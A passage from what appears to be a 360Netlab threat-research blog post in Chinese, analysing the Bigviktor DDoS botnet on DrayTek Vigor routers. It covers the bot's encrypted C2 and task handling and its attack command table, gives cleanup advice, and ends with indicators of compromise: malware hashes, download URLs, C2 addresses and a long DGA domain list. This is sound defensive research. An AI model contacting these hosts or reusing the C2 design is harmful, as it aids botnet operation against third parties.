from sample\n ------------------------------------------------------\n 46 00 B2 65 B0 3F 97 7F CF CB 65 31 1F D2 B3 A0\n 82 BC 09 D5 47 A9 37 27 8F ED F1 7B 29 2A FA 67\n ```\n\n 解密Ciphertext得到\n <a href=\"__GHOST_URL__/content/images/2020/07/bigvitor_deres.png\"><img src=\"__GHOST_URL__/content/images/2020/07/bigvitor_deres.png\" class=\"kg-image\"/></a>\n\n当校验成功后，就得到了有效C2，具体校验过程如下\n* 数字签名校验\n* Plaintext[2] ==\\x00,Plaintext[3] ==\\x09\n* Plaintext中的C2与请求s.jpeg的C2是否一致\n\n \n###### 3:向C2请求具体任务\n\n Bot获得有效C2后，会向C2请求image.jpeg资源\n <a href=\"__GHOST_URL__/content/images/2020/07/bigviktor_task.png\"><img src=\"__GHOST_URL__/content/images/2020/07/bigviktor_task.png\" class=\"kg-image\"/></a>\n\n\n\n同样image.jpeg也需要解密和校验，成功校验后，Bot就根据image.jpeg的指令进行相应的DDos攻击或update。Bigviktor一共支持8种指令,\n\n| cmd | cmd description |\n| ---- | -------------------------------------------------- |\n| 1 | null |\n| 2 | connect attack |\n| 3 | tcp syn attack with fixed source ip |\n| 4 | tcp syn attack with random source ip |\n| 6 | update |\n| 7 | tcp syn attack with random sourceip from male.jpeg |\n| 8 | tcp syn attack with random sourceip from male.jpeg |\n| 9 | null |\n\n以6月份的一个payload,image.jpeg(2e8c223f8ac1f331c36acd32ee949f6f)为例,\n\n原始数据为\n <a href=\"__GHOST_URL__/content/images/2020/07/bigviktor_raw.png\"><img src=\"__GHOST_URL__/content/images/2020/07/bigviktor_raw.png\" class=\"kg-image\"/></a>\n\n\n\n解密Ciphertext得到\n<a href=\"__GHOST_URL__/content/images/2020/07/bigviktor_attack.png\"><img src=\"__GHOST_URL__/content/images/2020/07/bigviktor_attack.png\" class=\"kg-image\"/></a>\n\n\n可知Bot将进行connect攻击，攻击目标为202.162.108.55，端口80,这和抓包结果是一致的。\n<a href=\"__GHOST_URL__/content/images/2020/07/bigviktor_pcap.png\"><img src=\"__GHOST_URL__/content/images/2020/07/bigviktor_pcap.png\" class=\"kg-image\"/></a>\n## 处置建议\n我们建议网络管理人员排查上述DrayTek Vigor路由器设备，及时升级固件。通过检查设备是否有未知进程绑定61322端口来判定感染与否，Bigviktor没有持久化的机制，因此杀死相应进程，删除对应文件就可以修复。\n## 联系我们\n感兴趣的读者，可以在 [twitter](https://twitter.com/360Netlab) 或者在微信公众号 360Netlab上联系我们。\n\n## IOC\n\nSample MD5\n\n```\n7b1ab096b63480864df7b0dcfebe2e2e\ndd7c9d99d8f7b9975c29c803abdf1c33\n```\n\nURL\n```\nhttp://91[.219.75.87/binary\nhttp://91[.219.75.87/arm7\n```\n\nC2-IP\n\n```\n151.80.235.228 AS16276|OVH_SAS France|Hauts-de-France|Gravelines\n```\n\nC2-Domain\n\n```\nuseinsidehigh.com:80\nwriteseparateliterature.com:80\n```\n\nPayload\n\n```\n4c6d0bed21bc226dbaf4e6adc7402563\t\ts.jpeg\n2e8c223f8ac1f331c36acd32ee949f6f\t\timage.jpeg\n```\n7月份DGA Domain\n```\ndecidefresh-county.in\npayculturaltour.org\nstandvisiblereach.rocks\nmeanforwardcap.top\nraisefitsize.rocks\nwww2.tellapartspring.realty\nexpectrawknee.com\ndecidesurepizza.rocks\nimg.leavetall-sky.nl\ndodifferentuser.fans\nbecome-thatspare.futbol\nplay-better-parent.observer\ntelldesignerpanic.art\nappear-weakrate.observer\nsupport.showremote-conclusion.fans\nraiseover-piano.org\nmeancoolpick.pictures\nbringjunior-bench.art\nssl.remainunhappyboy.info\nreadafterask.net\nleavelogicalambition.tel\ntakedramaticprimary.rocks\ntest.likerarereality.xyz\ncloud.runconstantnerve.fans\nstopseafemale.observer\noffer-individualthroat.fans\nmeanthickprivate.info\nturnfederalemploy.art\ntellcold-top.one\nmail2.comefirmdeposit.nl\nliketypicalcorner.net\nbuyliving-balance.observer\nvideo.continueleft-contact.nl\naskformer-mission.top\nlearnaggressive-she.org\nemail.hearlateformal.in\nkeepunitedbirth.art\nturntruebreakfast.futbol\ncutmaingolf.art\ndev.likefemalepush.rocks\ndev.holdfeelingpreference.click\nfindvariousfish.tel\ntftp.seempowerful-south.art\nvideo.comepureproposal.link\nwatchcapable-sample.rocks\ngrowborn-law.click\nbringefficientvalue.one\nbeginlower-man.nl\nspeakoriginalworld.one\nputmoneyearth.fans\nhave-wastebutton.futbol\nfindwildcollar.info\nlivepotentialdebt.pictures\nmail.pull-capableprofession.tel\npassbornsafe.rocks\nspendcuteform.realty\nwalkgrandspot.pictures\ntake-scaredline.art\nset-expensiveice.click\ngetnovelscratch.in\nlook-existinghang.com\ncloud.considerunhappymain.click\nwww.hold-futuredisk.rocks\nopenlegalbus.fans\nblog.hearfreshmachine.tel\nmail.callthatcouple.click\nleaveswimming-cold.one\ngo-healthyproject.observer\nmeanconnect-construction.nl\nwalknervous-video.nl\nbecomelast-western.com\nremembersquare-sale.info\nprovide-roundwill.com\nblog.standswimming-double.rocks\nsecure.seem-famoushire.tel\nspeakotheropening.org\nholdsudden-psychology.top\nhold-frontfilm.one\nbringbusinesshold.realty\ngiveacceptablepay.link\nallowremoteindependent.pictures\nhelpsillyhate.click\nknowyellowinstruction.info\nseeinternationalmachine.art\nconsidermalescrew.click\npaylife-camp.tel\nmakeold-course.com\nwww2.becomewarmrefrigerator.nl\ndownload.decidewisecourt.rocks\nlose-originalemployer.observer\nleadeastprompt.futbol\nchangeconfidentboot.art\nwaitcornermountain.club\nww1.understandlegal-cancel.link\nsuggest-global-other.realty\nchangeluckytitle.com\nplayprivateconstruction.art\nblog.mean-anyimagination.info\ndecide-currentemployment.top\nconsiderupsetvirus.fans\nletcornercurve.fans\ntalkfamousfather.club\nfindvastcoat.org\nmail2.use-farbitter.org\nremember-chemical-status.tel\nvpn.try-signalsort.org\naddhappyswim.xyz\nstandsuddeninternal.tel\nraiseanxiousguitar.one\nspeak-weekly-hire.org\nneedclosetonight.realty\nmail.fallfrequent-affair.fans\nstartpregnantreference.pictures\nappeartight-fun.fans\ncutplastic-drag.club\nworksea-assumption.com\nbuytrainingdrag.one\nneedfemalebrown.futbol\nwant-mountainform.observer\npop.getless-remove.pictures\nmail2.runelectronic-collar.fans\nraiselogicalpin.tel\nbelieveextraorganization.realty\nremote.servepleasant-cloud.pictures\nallowotherdesire.in\nset-partycount.realty\ndiecutemuscle.net\nstart-sexualfactor.net\ndienearbychart.xyz\nns1.requireanxiousflight.nl\na.happenaction-item.tel\nsecure.reportperfectyouth.xyz\nruntraditionalact.observer\nbecomeunfairsugar.info\nnews.growfrontclimate.tel\nimages.expectpurplewriter.pictures\nimages.seemmaterialvegetable.pictures\nrunsuitablestruggle.xyz\nappearfullfoundation.tel\nsellharddead.in\ncontinuebothpipe.com\nwatchvegetabledatabase.click\nstopmiddleapple.net\nuse-sweetdebt.rocks\nmeet-purechurch.club\nhearduewarning.nl\nadddifferent-reference.nl\ndownload.takehousemom.click\nbuildrawcloset.xyz\nputactualsecond.realty\nmove-muchagreement.club\nvpn.letfirst-concept.observer\nth.sitthin-character.rocks\nwww2.dieseparatefeed.in\nblog.buyextremeatmosphere.click\nbelievelegalscale.info\nbuildappropriatestable.net\nwatch-coolproject.fans\ndoalternativeseries.link\npull-inevitable-medicine.org\nstaybroadcost.fans\nseeofficial-thanks.net\nreadlostdiscount.art\nserve-redtour.fans\nshowleatherloss.click\nx.putweird-situation.net\nloseanotherdisease.realty\nmail2.become-alternativeside.futbol\nsetimpressive-sign.click\nx.appearavailablebad.realty\nstartunusual-status.futbol\nnoc.waituglyclick.org\ndownload.buildthinkreserve.fans\nexpectvegetablecurrency.xyz\nftp.spenddirtyrepublic.tel\nemail.die-prettycandle.art\npop.make-active-pass.click\nlovebeginningvast.realty\nincludeotherwisefamily.xyz\nwork-historicalarm.nl\npassclosescience.pictures\na.sitloud-damage.info\naddinternalfreedom.futbol\nset-okconcert.realty\nrequireenvironmentalhelp.nl\ndownload.need-beginningfinal.art\nofferdecent-twist.in\ndieoriginalpeak.futbol\nlearnremarkabledefinition.futbol\nkillembarrassedclient.net\nkillterriblerecord.tel\nimages.createrichdisplay.observer\nholdlowerfunny.fans\nsitsorrycash.realty\nplayprevioustrain.net\nchangewestbar.net\nshowaggressivedamage.nl\nfeelnecessary-counter.click\nliveproudconsequence.realty\ntry-decent-joint.info\ntrylatter-trainer.com\nshowsick-crack.tel\nhelp-animal-boyfriend.org\nfollowpropercollar.nl\ntake-cultural-white.futbol\nworkindividualpull.click\ndosecuregeneral.link\nlikeseaprogress.art\nworktrueamount.info\npullmalechurch.info\nloseseaconstruction.realty\naddliveruin.top\nwriterelevanteast.com\nhelpsquare-ticket.org\nstart-unlikelyspring.top\ncutrepresentativeslice.xyz\nseemiddle-cigarette.in\nstopafternoonhistory.xyz\ncomedrunkindustry.rocks\nworkenvironmentalthing.club\nconsiderover-expression.xyz\nreportcreative-advance.rocks\nremainfemaleblind.observer\nleavewildcarry.observer\nweb.mean-businessgreen.observer\nfollowworkstar.futbol\nallowamazing-operation.click\ngw.havefreshversion.org\nremembergrosssingle.click\nlikecutedevelopment.info\nimages.showwest-funeral.club\nletclassicrefrigerator.in\nsayinterestingshow.com\nwritesufficientglad.click\ntest.considerusefuldrawing.art\nliveslowstar.link\ncomebudget-improvement.com\nsetconfidentessay.link\nhappenunablerock.tel\nsitapartdepartment.org\ncontinueopenmap.com\ntest.writepretendcheek.one\nbuild-representative-score.club\nhappen-eithermajor.realty\nssl.passplasticdiscussion.observer\nkillbestinevitable.futbol\npullelectricaltone.observer\nimg.movemeanadvertising.in\nstartsuccessfulsick.link\ncreateinevitablelayer.one\nsetwinterfee.pictures\nallow-exactsport.info\nhelpapartpossession.org\ngw.appearsuchquality.com\nbecomefutureleather.xyz\nuse-leastmarriage.xyz\nincludebestjacket.rocks\ncam.turn-federalnovel.tel\nmeetelectricalmain.click\npop.needmajor-pin.com\nnoc.sit-royaltrouble.net\nofferwildincome.top\nremote.heareveningwhole.xyz\nserveokexchange.click\ncome-totalsignature.club\nofferlowersimple.one\ntest.cutforwardnasty.nl\nlivemassive-give.org\nssl.understandweird-chocolate.info\nbecomeparkingpositive.fans\nknow-excitingappointment.realty\nplaytemporaryhand.tel\ngrowdaughtercross.in\nreportculturaldistance.club\ndecide-physicalexam.com\nsell-ordinaryradio.com\nbuy-big-reason.org\nww1.bedependenthospital.top\nth.continuenexttop.in\nfeelenoughmedicine.net\ncontinueflat-meet.org\nhearresidentworry.futbol\nservesufficientplace.art\nx.leadnervouspresident.info\nsuggestminorconcept.link\nimg.providecomprehensivenerve.nl\nwinloosefeedback.nl\nfindoppositebonus.one\nchange-evenexplanation.link\nwalkdeadluck.futbol\nsitbusiness-note.rocks\nhappenfungather.fans\noffer-characterdiamond.xyz\nknow-first-background.link\ndev.show-trainingdouble.in\nkeepmanycard.top\nns1.makechance-chapter.click\nreportsparegear.one\nimages.remainthin-wall.observer\nlovesuperconsideration.rocks\nwww.dostraightcalm.observer\nletfutureslide.one\nfindmediumlog.net\nrequire-globalfix.fans\nkeep-forwardsomewhere.link\nbringparkingperception.observer\nweb.fallleastcamera.top\nshowparkingconcern.futbol\nfind-worksun.one\nweb.tellaccuratefoot.club\ntellleft-scene.observer\nappeartop-writing.link\nlikeextremecategory.info\nlearnheadexchange.realty\npasslogicalminor.link\nasktotalfile.in\nwatchasleeplight.futbol\nbringpluscan.futbol\nemail.be-careful-midnight.one\nvideo.offer-psychologicalknowledge.info\nseemostuncle.realty\nftp.takelegalcourt.observer\nfollowwillingpsychology.link\ncontinueexactresponse.observer\nshop.seeplentyboot.pictures\nns1.make-wonderful-hold.observer\npop.sayalonelight.realty\ninclude-severe-society.click\nfollowsuspiciousmoment.nl\ntftp.includerepresentativepost.xyz\nhelpsuccessfultitle.top\nincludevisualconsideration.observer\nbringafraidslide.realty\nlearnchancetelephone.info\nmovesmallentrance.org\ngive-superdate.nl\nrequiredaymoment.in\nlikeactionif.futbol\nnoc.likeemotionalpreference.one\nopenhorror-tie.realty\nexpectevenmilk.top\nmeanactioninternet.link\nimages.begreen-simple.one\nincludeleather-she.pictures\ntalkawareissue.club\nsayindependentplayer.xyz\nchangeillegalriver.info\nseelongthroat.observer\nplayanxiousrole.info\nfeelminutedegree.observer\nfollownastymountain.rocks\ntellprettyegg.org\npassactualstable.observer\nmail2.leadbestmistake.observer\nhelp-aliveresearch.info\nrunsalt-college.com\ntellbest-necessary.link\nrequireannualpolice.pictures\npullyoungview.realty\nmakedarkcontract.observer\nshop.help-healthythought.net\nremain-practicaloutside.observer\nsellenvironmental-harm.futbol\nstop-thismilk.info\nincludeuniquecandle.pictures\nthinkrelevantchildhood.org\nwebmail.waitspecialistcompany.in\nseem-brilliant-device.futbol\ntakerightpartner.observer\nmail.useplanebus.fans\nthinkperfectcompany.tel\nappearpresentshirt.realty\nbringupstairscommunity.club\nkeep-electronicinteraction.in\nfallnice-blue.link\nsendappropriatefuneral.info\ntellawaydesign.top\ntftp.runswimmingimprovement.fans\nlookthenpositive.pictures\nmoveplastic-history.top\nhavewildhit.com\ncloud.playsouthnormal.nl\nsetswimmingsuit.in\nmovepositivemove.link\nplaygrosslandscape.art\ncreatenextguest.rocks\ngominutepie.club\nkillfemaleprofile.click\nspendimmediaterush.club\nopenweekly-watch.one\ndev.believedesignercharacter.in\ntry-redcommittee.com\ntftp.providestill-thing.net\nincludemothermiddle.realty\nsmtp.writebeginningitem.xyz\nopen-proudprinciple.com\nnoc.expectbravewonder.art\nreadcivil-slip.click\ngo-motorprofessor.click\nfeeldramaticdig.pictures\nbeexcellentangle.xyz\nstartafterchemistry.xyz\nvpn.give-formerhat.top\nwritefunnyassignment.fans\nwebmail.buy-roughcigarette.fans\ngiverawdistrict.xyz\ncome-historicalinstruction.org\nmail2.tellannualarrival.observer\nserver.find-simpleincrease.in\nimg.live-informal-desk.futbol\nbuildefficientstaff.rocks\nseeguiltybike.futbol\nallowtypicalmonitor.link\nlook-famousexcitement.nl\nlead-awaybar.observer\nreaddresssense.link\nwww1.rememberlocalgift.in\nbuildusualrisk.observer\nwork-extremestop.link\nread-educationalpanic.net\nexpectagohusband.in\nincludepowerfulworker.info\nlosewholeauthor.com\nwork-wastedivide.in\nsellbig-test.org\nrequire-livingmeaning.com\nspendusedchildhood.click\nneedvaluableanywhere.pictures\nlikesoftbowl.net\nhelpcivil-net.org\ncallupstairseconomy.link\nreadkitchenmotor.click\nfallcalmanimal.pictures\nemail.takefederal-leading.xyz\nwait-rareenergy.com\nneedsaltswim.click\nwinlower-command.in\ntellhugecandidate.one\nreportrawchapter.xyz\nbeginaccurateoriginal.tel\nsetshotguard.one\nremote.turnpartyengineer.club\nbuyhousecomfortable.com\nturn-successful-official.observer\ntftp.walkmediumgroup.futbol\nfallpriorshopping.futbol\nwaitpleasantquality.rocks\nshowscaredsquare.one\nstop-closecard.tel\nmoveminimum-self.rocks\nsupport.followholidayairline.observer\nplaydarksociety.top\nsitenoughdetail.net\nbecomeaccurateuser.rocks\nworkheavybrief.fans\nsetafteradult.net\nmakewhat-title.club\nhear-relative-philosophy.observer\nkeepmoneygrade.pictures\nspend-firstinterest.art\nasklocalnasty.link\ntalk-alive-family.nl\nsell-significantoccasion.top\nbedressfold.fans\nwaithappysell.top\nlead-lostsurround.link\nfindinternalmain.realty\nthink-legalresult.link\nwww2.dofullhold.club\nbeordinarynews.art\npass-wineunit.nl\nappearemergencytruth.info\nturndistinctscreen.nl\nleadfederalwater.top\nthink-capable-concentrate.in\nbringdrunk-monitor.com\nset-joint-equivalent.com\nunderstandinnercompany.art\nloveleather-extent.click\ntrypatient-detail.one\nappearminutehunt.one\naskinteresting-daughter.club\nssl.expectupsetif.club\nrundesperatebook.tel\nspeakdressinternet.com\nneedcuriousfootball.top\nnoc.stayaccuraterelative.link\nbringshotdemand.com\nmovefreenature.com\nww1.changeshotprofit.pictures\nstandsexual-instruction.com\nreadweakpoint.realty\ngrowrealistictext.realty\nknowunfairprocedure.futbol\nappear-leading-jacket.observer\nnews.losefairsuit.top\npullleading-promotion.top\nlooklessparent.xyz\nlikeoutsidepresence.one\nwebmail.talk-normalred.link\nlook-small-image.org\nshow-clean-command.art\nstartfriendlyconstant.info\nlookwholebelt.xyz\nlearn-sweetcream.top\ndieeitherimage.com\nsuggestfunny-salt.link\nsithealthymembership.info\nplayculturalresponsibility.com\nsaygeneralprize.pictures\nappearhonestcup.org\nbegin-leftspare.one\nbelievepublicpermit.in\nmail2.lookcreativeintroduction.in\nfall-capablepersonal.in\nhearnorth-fortune.com\nlearncuriousideal.link\nremote.havecompletesoil.net\ndosmoothhousing.info\nreachinternationalchapter.one\nunderstandafternoon-oven.art\nprovideenoughrich.one\nweb.showplanegrandfather.in\nreport-existinginstruction.tel\ndodecent-entry.in\nbecomestreetnose.info\nvideo.gomaterialcap.realty\nkilltemporarybrush.com\nth.lookpracticalteacher.one\nhear-basiccrew.realty\ntalkexpertbirthday.realty\nmail2.get-evenversion.art\ncomeadultfamily.art\nsmtp.understandillegal-great.one\nimg.addangrylip.in\nstopsilvernews.nl\ncontinue-mentaleffort.xyz\ndieafternoonvisual.click\ntrywhite-juice.club\nask-betterequipment.nl\ngo-awareinflation.rocks\nprovideeducationaltie.link\nloveunfairlow.org\nbuildnational-preference.realty\nreadvariousengineer.one\nlearndry-possible.click\nexpectunlikelygrand.info\nraise-weekly-till.net\ntake-rare-figure.xyz\nseeplasticbeing.click\nleavekindeducation.club\nincludecorrectmembership.futbol\ncontinueinitialgrocery.realty\nworkrelevant-tackle.observer\nfeelinternal-grandfather.link\nplaysafeunion.link\nknow-deep-brick.nl\nofferillegaldrink.fans\nwriteoldpolice.one\nofferdowntown-stand.top\nspendopeningchart.realty\nlosefewmouth.org\nstaymaterialcash.observer\nsitpastgirl.futbol\nprovidetraditionalanybody.realty\nbuildnicelake.one\nwww2.killnumerousdriver.nl\nhaveappropriatewhite.realty\ndovegetableguard.tel\nmail.sendconsistentsafety.info\nremember-independentstorm.net\nstartequivalentship.org\nthink-leftcapital.pictures\nwork-basicexpert.info\nconsiderhonest-north.nl\na.callresponsible-difference.observer\nwalktimefuneral.one\nallowroundminute.xyz\ngounable-administration.tel\nth.sendsilverscale.link\npull-particular-trainer.net\nmovegreengrowth.futbol\nrununhappysecretary.fans\nleaveangryextreme.link\nloseeast-possibility.pictures\nlive-prettyhalf.fans\nimages.cutnegativeentrance.club\nbeginslight-application.nl\nunderstandboring-drink.click\nsecure.askafterjoin.realty\nlearnstillintroduction.click\ncomegladsalt.realty\nsitgrandbench.art\nwatcheducationalcloset.nl\nappearoldboss.tel\nremainmaximumrepublic.fans\nbuyavailablestay.net\nplay-happyrefrigerator.tel\nunderstand-leftnet.tel\nspendgamenurse.tel\nadd-localmuscle.art\nunderstandvisiblefire.rocks\nwww.runjuniorstress.observer\nrunold-response.art\ncontinuepracticalswitch.observer\nsellextension-fall.click\nstart-negativecourse.com\nspendlegalrepeat.com\ndiecornerconsideration.click\nleadresident-drive.futbol\nwww.payforeignglad.club\nplay-logical-unit.net\nbecome-used-grass.pictures\ncutsubstantialdeal.rocks\nstandfinalbid.art\nleaddependenttale.futbol\ndie-used-back.in\nplay-flatambition.nl\nraiseagent-pressure.art\nopenthenmouse.top\nreadobviouscow.info\nuseresidentfunction.tel\nstandafterpicture.observer\nraise-proofmight.xyz\nneedfarking.club\nshowseriousback.art\nsmtp.sitprizerelative.observer\nraiseextensionmuscle.art\nknow-financiallecture.rocks\nlookdeepmake.com\nprovidenewexamination.click\nkeep-constantfinish.click\nfeelconnectconcert.link\nnoc.buildacceptablewait.futbol\nopenexactanimal.one\nsend-bestweb.one\nexpectstrangeprocedure.realty\npasssevereconfidence.club\nx.setentire-cup.pictures\nserver.thinkpurplerepeat.info\ndownload.paytightcomparison.top\ngoagent-read.in\nsendcapital-recording.xyz\nfollow-femaleside.nl\nlikecoldclient.net\nhappen-sparelay.click\nmakedecent-individual.net\nwaitwhite-bit.nl\nsellwestreport.fans\nwork-realisticdevelopment.art\ngoworkingprize.rocks\ndo-plenty-cross.realty\ntakethink-force.observer\nsuggestsevereblood.art\nmeandirtybox.nl\nadmin.loveeastfood.org\nstaymental-energy.xyz\ngo-local-gap.club\nemail.servepoliticalhighway.org\ncallnorthkiss.club\nemail.takesilver-impact.rocks\nsellweirdsensitive.club\nstaydifferentobject.nl\nwritesilverstruggle.net\nserver.allowdrunkabuse.com\nlivestatusnail.in\nmovetimething.nl\nreportresponsibleswitch.tel\nwriteseparateliterature.com\nsitnearby-tackle.nl\naddpsychologicalbuilding.org\nbuy-moremarch.click\nserveofficialpoint.art\ncomesmartfeeling.one\nww1.be-lostwindow.net\naddavailablekind.xyz\nbringupstairs-adult.realty\nset-consistent-property.one\nwatchaggressivecategory.info\nbegin-both-branch.futbol\nth.runroutineinvite.net\nstopproofcommission.info\nplay-culturalplate.nl\nwww2.read-incident-branch.net\ncomeeitherhelp.tel\nappearlegalprocedure.net\nseemmiddledelay.tel\nmeancreativecommittee.org\nwww1.believesimilar-thing.futbol\nexpectsouthinevitable.futbol\nseemdress-homework.top\nhappen-homewave.rocks\naddpuretop.art\ntellreasonabledocument.click\ngrowminimumtelevision.net\npop.come-awareyard.net\nunderstandvisualstation.tel\nsecure.giveglad-city.art\nlikenearbystomach.realty\nlosecoolanalysis.fans\ngetoriginaltrash.click\nincludefamousdrag.fans\nspendfamiliar-gather.tel\nworkmanychampionship.futbol\nlearnanother-inside.tel\nsitbrightrope.com\nopenunhappypicture.futbol\nwww.trywide-principle.futbol\nchangeminor-march.futbol\nworkgeneraltrick.info\nadd-criticalvoice.art\nbuystraightdeep.fans\nsayintelligentaspect.click\nliveplasticcounty.click\ndecideillegalquality.top\nfeelgold-series.pictures\nbbs.dodrunkanything.com\nremainbothfeel.fans\nbringeasttruck.com\ncreateobviouspeople.top\nconsiderproperproduct.com\nadddeepresolve.link\nhelp-recentspeech.pictures\nhappen-southcountry.art\nservecorner-strength.com\nemail.likemobilelocation.click\nreadborn-access.pictures\na.takeuglyparent.com\nmeanmountainpride.click\nbelieve-headrise.club\nrunaccordingload.nl\nth.winrealpriority.rocks\nhearnewnegative.observer\nincludedifferentdetail.observer\nbuildchickentraffic.fans\nuse-physicaldepression.tel\nconsiderpowerfulfruit.observer\ntest.buy-timeshoulder.com\nplaysuddenbird.in\nkillseveral-city.one\ntakesignalincident.in\nwork-reasonablebreak.pictures\nbesadenvironment.art\nshoweastyard.one\nseeprettyinspector.in\nbuygladexchange.art\nraiseeastbedroom.xyz\nletmad-juice.in\nexpecthappydrop.nl\nbegin-ordinarystupid.rocks\ngoaggressivenasty.xyz\nwritegloballandscape.in\nputenvironmentalimagination.futbol\nwantbrightear.one\nconsider-culturalmenu.net\npay-cornerfat.one\nsuggest-relativereputation.tel\ncam.lookfewnewspaper.nl\nturn-everybitter.net\nfind-cooloutcome.info\ncontinueexpertcontract.tel\nholdthickshift.observer\nhelpdeepsnow.click\ntrybitter-twist.pictures\npop.offersingle-preparation.in\nseemsingleroof.observer\nbbs.requireobviouscandle.xyz\nturnroughcandy.net\nhearnextchest.pictures\nopenhardmanagement.com\nthink-exactstroke.top\nbeginannualgirl.in\nprovidechemical-release.top\nth.usebestpull.com\nwww.dolatefruit.org\nprovidebasicmiddle.org\nsecure.lookstupidvaluable.click\nthinkrelevant-sail.nl\ngivelogical-brain.net\nwatchpotentialinitial.info\nstartinternalgolf.net\nwww.happen-openingcake.club\ntftp.pullleastbeing.art\nhelpsaferepeat.com\nthinksmartfact.net\ncloud.let-specialcomparison.net\nvpn.sellroughswitch.pictures\ngo-hungrycarpet.art\nfollownaturalmeasurement.futbol\nstand-inevitabletradition.info\nserver.speakgooddog.futbol\nfeelsexualisland.observer\nunderstandinternationalphrase.art\nsellnativeself.nl\nlove-perfecthealth.link\na.waitloud-currency.observer\nsecure.raise-illdeparture.futbol\nknowenvironmentalambition.observer\ncam.believesaltleading.observer\nthinkdeadsurprise.fans\nofferfalse-education.observer\nremainactive-beach.pictures\nwww1.raisefederalclimate.club\nwatchworkhalf.observer\nserveokfinish.info\nwww2.reportcuriouswait.link\nrun-classicspray.tel\nmeetpastaccident.tel\nplayplasticaccount.club\nstandvaluablestay.com\nruntraditionalmess.in\ndev.move-significant-assignment.club\nconsidercompletequality.one\naddbornticket.one\nftp.createsorrymembership.nl\nprovidefriendlycity.net\nssl.lovegreatglad.realty\nwanteconomywash.net\ngw.setusualdouble.realty\nopenminorboot.tel\nbecivilappearance.rocks\nsupport.callactualsimple.click\nrememberbasicsuggestion.one\nsaycompetitiveseat.in\nlovefast-check.link\nlearnsouthern-art.rocks\nconsiderprofessionalowner.tel\nmeanspecificclassroom.nl\nbring-fewspare.xyz\nread-obvious-stress.org\nstand-eastappointment.art\nkillacceptabledump.click\nhappentypicalweather.one\nemail.stayupstairswave.top\nwebmail.doevening-literature.realty\nadmin.passbravesleep.observer\naddboth-league.realty\nraiseplastictowel.club\ncomelittlebit.org\ngw.continuechoicelink.club\nhappenpopularfamiliar.fans\nallow-classicscale.net\nexpecttightimagination.rocks\nnoc.beginonlypromise.art\nserveappropriatebutton.one\nusesillypermission.top\ninclude-eachpension.pictures\nremembertrainingpermit.rocks\nunderstandfemale-equipment.pictures\ndieresponsible-brief.link\ntftp.offer-corner-border.one\nsaybriefgreat.realty\ntellkindkeep.pictures\nhold-tough-farmer.top\npassnationaldifference.net\nshop.send-deep-month.pictures\nbuystrictconsist.observer\nofferremarkabledress.com\nbuycomprehensiveopening.tel\nfall-appropriate-employee.art\nseemheadchip.observer\nsendremarkablesock.pictures\nsell-psychological-board.club\nmeanimportantmarriage.in\nstayconstanta.nl\nknowfatmedium.one\nprovidecriticalplay.click\nbeparkingtechnology.futbol\nspeakcuriousextension.futbol\nwww.speakwooden-evening.realty\nallowcomplexleather.futbol\nsetaggressivewall.realty\nleadchemicalsuccess.nl\ncreatepracticalimportance.tel\nlikeremoteinitial.info\nm.setsuddendesign.in\nkillmaintransportation.com\nplaycapitalsad.org\ntftp.learnsorrytype.nl\nkeepwrongphone.futbol\nlet-emergencysinger.observer\nofferafterbrick.link\nseemcharactermixture.club\nexpectwild-concept.rocks\nmakesome-tower.click\nsayasleepresource.art\nremainyellowregular.tel\nmean-lastoutside.org\nwww1.movestock-nose.nl\nfollowemergency-camp.nl\noffernoveloutside.xyz\nlooknicenorth.top\nlovetrainingtoe.observer\nleadwrongactor.in\nth.consider-immediate-specialist.top\nraiseslight-win.club\nseemlonely-quality.info\ntftp.buildappropriatevast.club\nfollowalonewonder.rocks\nweb.growstillscreen.art\nrememberprofessionalpresentation.rocks\nrequirestrongchip.pictures\ntryanotherunique.club\ndecideopenwriting.com\nhelpunusual-daughter.pictures\nemail.followsmalldeparture.link\nrememberbeautiful-test.top\nsend-searecipe.info\nbuypersonallife.xyz\ncreatekitchenchild.click\nhavemuch-page.pictures\nexpectbackgroundaddition.observer\nleavequietmarket.org\nstarthismix.link\nmovepresentinternational.realty\ndointeresting-control.futbol\nww1.remainsoutherncity.pictures\nusecarproduce.one\nraiseeveningcorner.art\nbelievesecret-female.net\nhappenlivingtill.one\nshop.loseeaststill.xyz\ndecidefineentry.info\nopenphysicalsympathy.info\nlovevisualdebate.nl\ntryopeningwhile.link\nhave-plasticdrawer.top\nnews.tellpregnantratio.one\nchangeunhappysecond.observer\nreportkitchen-formal.one\ntrypopularreplacement.click\ntrymaster-self.pictures\nwantsecretdevice.rocks\nfeelwideestate.xyz\nemail.killcheap-poetry.futbol\nletparkingbuddy.art\ndo-sensitivesex.info\ncutmanymine.xyz\nbuild-comprehensivepick.club\nfollowdirty-reach.club\nth.getunfairscene.futbol\nchangeintelligentdeep.com\nconsiderhisreputation.nl\nbuildcurrentlesson.one\ncloud.set-thinkpattern.one\nbringdeep-revolution.one\naskeducationalsuggestion.futbol\ndopretendgear.com\nftp.pull-topsector.fans\nbringbrightpull.in\nwork-afraidyard.art\nstandtalltarget.in\nset-slight-proof.futbol\nvpn.diefreeyesterday.futbol\nliveequalbook.tel\nlearnpretendtechnology.net\nstartseparateopening.nl\nfind-yellownational.fans\ncallmedium-son.one\nhappenexternal-candy.click\nstoptraditionalfuel.futbol\nraisetotalapplication.art\nspend-accordingwill.rocks\npullnearbywall.tel\ntalkeitherjuice.fans\ncontinueunablebet.observer\nimg.cutwonderfulcheek.observer\nfollowobviouscode.club\nwaitlonelygift.nl\npassaggressivedefinition.pictures\nssl.putsea-people.club\nkillleadingexam.realty\nwaitotherwiserequirement.fans\nfeelpure-conference.rocks\nstayoriginalprocess.fans\npulltimeswitch.observer\nleadlevelcomfortable.xyz\nstartbriefeffective.net\nsayembarrassed-maintenance.fans\nwantrelevantbar.pictures\nknowbornoutside.click\ndo-innerpen.club\ntryresponsible-injury.click\nwebmail.remembersafehang.art\nraisefewmix.in\nholdstatus-forever.net\nchange-distinctrecording.net\ncomeplasticpermission.futbol\nsuggestgreatstudio.top\nemail.bringpretty-guide.org\nchangesouth-preference.org\nwantseverebread.futbol\nsellbettermail.observer\ndecideawayad.futbol\nstaymassive-yellow.xyz\nwww1.understandusefulpaint.org\nworkcheap-disaster.nl\nletpatientunique.link\nwatchfair-bug.nl\nholdasleepstructure.observer\n\n```"}]],"markups":[],"sections":[[10,0],[1,"p",[]]],"ghostVersion":"3.0"} | 5f05a0e47646030007b281bd |
post | null | 2020-07-09T03:50:27.000Z | 63873b9a8b1c1e0007f52f79 | ddos-botnet-moobot-en | 0 | 2020-07-09T14:38:14.000Z | public | published | null | 2020-07-09T14:00:00.000Z | An Update for a Very Active DDos Botnet: Moobot | <!--kg-card-begin: markdown--><h1 id="overview">Overview</h1>
